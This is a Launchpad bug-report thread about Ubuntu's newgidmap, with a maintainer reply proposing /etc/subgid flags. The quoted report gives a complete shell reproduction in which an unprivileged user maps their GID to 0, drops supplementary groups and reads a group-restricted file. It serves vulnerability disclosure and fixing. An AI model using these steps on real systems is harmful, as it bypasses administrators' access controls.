[Bug 1729357] Re: unprivileged user can drop supplementary groups

[Aleksa Sarai]

> Thanks for replying Eric, but I'm having trouble reproducing what you've
> posted. I can't write the gid map until I've written deny to
> /prod/$pid/setgroups, not the other way around. There might be some nuance
> I've missed.

Yes, this is a security feature. setgroups must be written to *before* gid_map
(the reason for this is explained further in user_namespaces(7)). And only
privileged users are allowed to write to gid_map if setgroups is set to allow.

> Also, newgidmap will allow a user to map their own GID to 0 in the user
> namespace, even when there is no entry for that user in /etc/subgid.

This is something that is generally required for a container to function, and
isn't fundamentally a security issue because users are already allowed to do
that without privileges (this is how rootless containers and LXC unprivileged
containers work) -- *unless* in this mode newgidmap is setting setgroups=allow
(in which case this is a major security problem).

> What if newgidmap wrote "deny" to /proc/$pid/setgroups unless the user is
> whitelisted in some config file, probably separate from /etc/subgid, as
> Stéphane suggested?

:+1: I'd prefer if we implemented this by changing the /etc/subgid schema so
that rather than having the format

   user:id:id_cnt

It has the format

   user:id:id_cnt[:flagA,flagB,...]

And we define flags "allow_setgroups" and "deny_setgrouops" (with
"deny_setgroups" being the default). This way, administrators can be *explicit*
about the denial, we don't add any new configuration files, and it's backwards
compatible (with security being opt-out).

I imagine making deny_setgroups might be a *bit* contentious, but in the worst
case we could have a migration script that asks users (or just add a document
about it to the logfile for the upgrade).

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https://bugs.launchpad.net/bugs/1729357

Title:
  unprivileged user can drop supplementary groups

Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  Distribution: Ubuntu 16.04.3 LTS
  Kernel: 4.4.0-97-generic
  uidmap package version: 1:4.2-3.1ubuntu5.3

  The newgidmap setuid executable allows any user to write a single
  mapping line to the gid_map of a process whose identity is the same as
  the calling process, as long as that mapping line maps the process's
  own GID outside of the user namespace to GID 0 inside the user
  namespace.

  Newgidmap will write the mapping regardless of the content of
  /proc/$process_being_mapped/setgroups, which will initially contain
  the string "allow". After this mapping is performed, and also after
  the process' uid_map is written with newuidmap, the process in the
  user namespace will be able to use the setgroups system call to drop
  supplementary groups.

  This is possible even if there is no entry for the user in
  /etc/subgid, because no subordinate GIDs are actually being used.

  This allows any user to circumvent the use of supplementary groups as
  blacklists, e.g. for some file owned by root:blacklist with permission
  bits 0604 (octal). Normally any process whose identity included the
  group "blacklist" in its supplementary groups would not be able to
  read that file. By performing this exploit using newgidmap, they can
  drop all supplementary groups and read that file.

  If newgidmap was not available, unprivileged users would not be able
  to write a process's gid_map until writing "deny" to
  /proc/$pid/setgroups. A fix for this might be for newgidmap to check
  the content of /proc/$process_being_mapped/setgroups is "deny", but we
  have not tried to patch this ourselves.

  An example using 2 login shells for a user named "someone" on Ubuntu
  Xenial, with the uidmap package installed:

  Shell 1

  someone at ubuntu-xenial:~$ id
  uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)

  someone at ubuntu-xenial:~$ ls -al /tmp/should_restrict
  -rw----r-- 1 root restricted 8 Nov  1 12:23 /tmp/should_restrict

  someone at ubuntu-xenial:~$ cat /tmp/should_restrict
  cat: /tmp/should_restrict: Permission denied

  someone at ubuntu-xenial:~$ unshare -U --setgroups allow #
  /proc/self/setgroups already contains 'allow', but let's be explicit

  nobody at ubuntu-xenial:~$ echo $$
  1878

  Shell 2

  someone at ubuntu-xenial:~$ cat /etc/subuid
  lxd:100000:65536
  root:100000:65536
  ubuntu:165536:65536

  someone at ubuntu-xenial:~$ cat /etc/subgid
  lxd:100000:65536
  root:100000:65536
  ubuntu:165536:65536

  # There are no entries in /etc/sub{u,g}id for someone, but this
  doesn't matter that much as subordinate IDs are not being requested.

  someone at ubuntu-xenial:~$ newuidmap 1878 0 1001 1

  someone at ubuntu-xenial:~$ newgidmap 1878 0 1001 1

  Back to shell 1

  nobody at ubuntu-xenial:~$ id
  uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

  # The presence of the "nogroup" supplementary group indicates that
  some unmapped GIDs are present as supplementary GIDs. The kernel knows
  that this process still has "restricted" in its supplementary groups,
  so it can't read the restricted file yet.

  nobody at ubuntu-xenial:~$ cat /tmp/should_restrict
  cat: /tmp/should_restrict: Permission denied

  # The process has gained CAP_SETGID in its user namespace by becoming
  UID 0. /proc/$pid/setgroups contains "allow", so it can call
  setgroups(2). By su-ing to root (itself, in the user namespace), it
  can drop the supplementary groups. It can't read /root/.bashrc as that
  file is owned by UID 0 in the initial user namespace, which creates
  some distracting error output but doesn't matter in this case.

  nobody at ubuntu-xenial:~$ su root
  su: Authentication failure
  (Ignored)
  bash: /root/.bashrc: Permission denied

  # Supplementary groups have been dropped

  root at ubuntu-xenial:~# id
  uid=0(root) gid=0(root) groups=0(root)

  # It can read the restricted file

  root at ubuntu-xenial:~# cat /tmp/should_restrict
  content

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